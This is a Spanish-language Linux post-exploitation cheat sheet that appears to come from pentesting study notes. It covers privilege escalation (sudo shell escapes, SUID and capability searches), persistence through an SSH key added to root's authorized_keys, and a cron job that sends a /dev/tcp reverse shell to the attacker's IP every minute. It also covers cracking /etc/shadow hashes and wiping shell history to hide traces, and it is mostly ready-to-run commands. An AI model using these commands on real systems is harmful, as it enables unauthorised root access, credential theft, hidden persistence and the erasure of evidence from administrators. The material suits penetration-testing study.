Appearance
🐧 Post-Explotación en Linux
El entorno Linux es extremadamente sensible a los permisos de archivos y a la configuración del Kernel. Una vez obtenida la shell inicial (generalmente como un usuario de servicios como www-data o un usuario estándar), el objetivo es identificar debilidades en la configuración para alcanzar privilegios de root.
✅ Metodología Linux
Enumeración local (Kernel, Sudo, SUID, Cron)
Transferencia de archivos (Uso de /tmp)
Mejora de la shell (Estabilización TTY completa)
Escalada de privilegios (GTFOBins, Capabilities)
Persistencia (SSH Keys, Cronjobs)
Extracción de hashes (/etc/shadow)
Limpieza de huellas (History, Logs)
🔍 1. Enumeración Local
No busques el exploit de Kernel a la primera. La mayoría de las escaladas en Linux se deben a errores humanos en los permisos de sudo o archivos con el bit SUID activo.
Información del Sistema
bash
# Versión del Kernel y arquitectura (Vital para Kernel Exploits)
uname -a
# Información de la distribución
cat /etc/*release
# Listado de paquetes instalados (Búsqueda de versiones vulnerables)
dpkg -l # En Debian/Ubuntu
rpm -qa # En CentOS/RHELUsuarios y Grupos
bash
# Quién soy y a qué grupos pertenezco
whoami
id
# Enumerar usuarios con acceso a shell
cat /etc/passwd | grep "sh$"
# Ver quién ha iniciado sesión recientemente
lastlogRed y Procesos
bash
# Interfaces y redes internas
ip a
# Procesos que corren como root (Buscando servicios locales)
ps aux | grep root
# Tareas programadas del sistema
cat /etc/crontab
ls -la /etc/cron.*Enumeración Automática (Value Add)
Para un reconocimiento rápido, utiliza herramientas que automatizan estas comprobaciones:
- LinEnum: Script integral de bash. Se recomienda ejecutarlo y filtrar por "Thorough tests".
- Metasploit: Módulos como
linux/gather/enum_systemocheck_vm.
📂 2. Transferencia de Archivos
En Linux, la ruta por excelencia para subir herramientas es /tmp. La mayoría de los sistemas están configurados para que cualquier usuario pueda escribir allí y, además, los archivos suelen borrarse tras un reinicio.
Aparte de wget (visto en la intro), considera:
- Curl:
curl -O http://<TU_IP>/herramienta - SCP: Si tienes credenciales de usuario:
scp herramienta usuario@víctima:/tmp/.
🐚 3. Mejora de la Shell (TTY Stabilization)
Las reverse shells suelen ser "tontas": no tienen autocompletado, no puedes usar flechas y Ctrl+C las mata. Para estabilizarlas:
- Spawneamos bash con Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'. - Exportamos variables de entorno:
export TERM=xtermexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. - (Opcional) Background y STTY: Presiona
Ctrl+Z, escribestty raw -echo; fgy presiona Enter dos veces. Esto te dará una shell interactiva completa.
📈 4. Escalada de Privilegios
Permisos de Sudo (sudo -l)
Es el primer comando que debes ejecutar. Te dirá qué binarios puedes correr como root sin conocer su contraseña.
- Ejemplo: Si puedes ejecutar
vim, escala con:sudo vim -c ':!/bin/sh'. - Referencia obligatoria: GTFOBins. Si aparece en
sudo -l, búscalo ahí.
Binarios SUID
Archivos que se ejecutan con los privilegios del dueño (root). Buscamos aquellos que no deberían estar ahí.
bash
find / -perm -u=s -type f 2>/dev/nullCapabilities
Permisos granulares que pueden permitir a un binario saltarse restricciones de seguridad.
bash
getcap -r / 2>/dev/null
# Busca cap_setuid+ep en python, perl o tar.⏳ 5. Persistencia
SSH Keys (El método más estable)
Si el servicio SSH está activo, puedes añadir tu propia clave pública al archivo authorized_keys del usuario root o de cualquier usuario legítimo.
- Genera claves en tu máquina:
ssh-keygen. - Copia tu
.pubal objetivo:echo "tu-clave-publica" >> /root/.ssh/authorized_keys.
Cron Jobs
Crea una tarea que te envíe una reverse shell cada minuto:
bash
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/<PORT> 0>&1'" > /tmp/proxy
crontab /tmp/proxy🔑 6. Extracción y Crackeado de Hashes
Si eres root, puedes acceder a /etc/shadow, donde residen los hashes de las contraseñas.
Formato del Hash
El primer campo tras el nombre de usuario indica el algoritmo:
| Prefijo | Algoritmo |
|---|---|
| $1$ | MD5 |
| $2a$ / $2y$ | Blowfish |
| $5$$ | SHA-256 |
| $6$ | SHA-512 (Estándar actual) |
| $y$ | yescrypt |
Cracking Offline
John the Ripper:
bash
# Combina passwd y shadow para que John tenga el contexto
unshadow /etc/passwd /etc/shadow > hashes.txt
john --format=sha512crypt hashes.txt --wordlist=rockyou.txtHashcat:
bash
# El modo 1800 corresponde a SHA-512 (Unix)
hashcat -m 1800 hashes.txt rockyou.txt🧹 8. Limpieza de Huellas
Linux registra cada comando en un archivo de historial. Es vital limpiarlo antes de salir.
bash
# Limpiar historial de la sesión actual
history -c
# Borrar el archivo de persistencia del historial
rm ~/.bash_history
# Cerrar sesión sin dejar rastro en los logs de acceso (si es posible)
kill -9 $$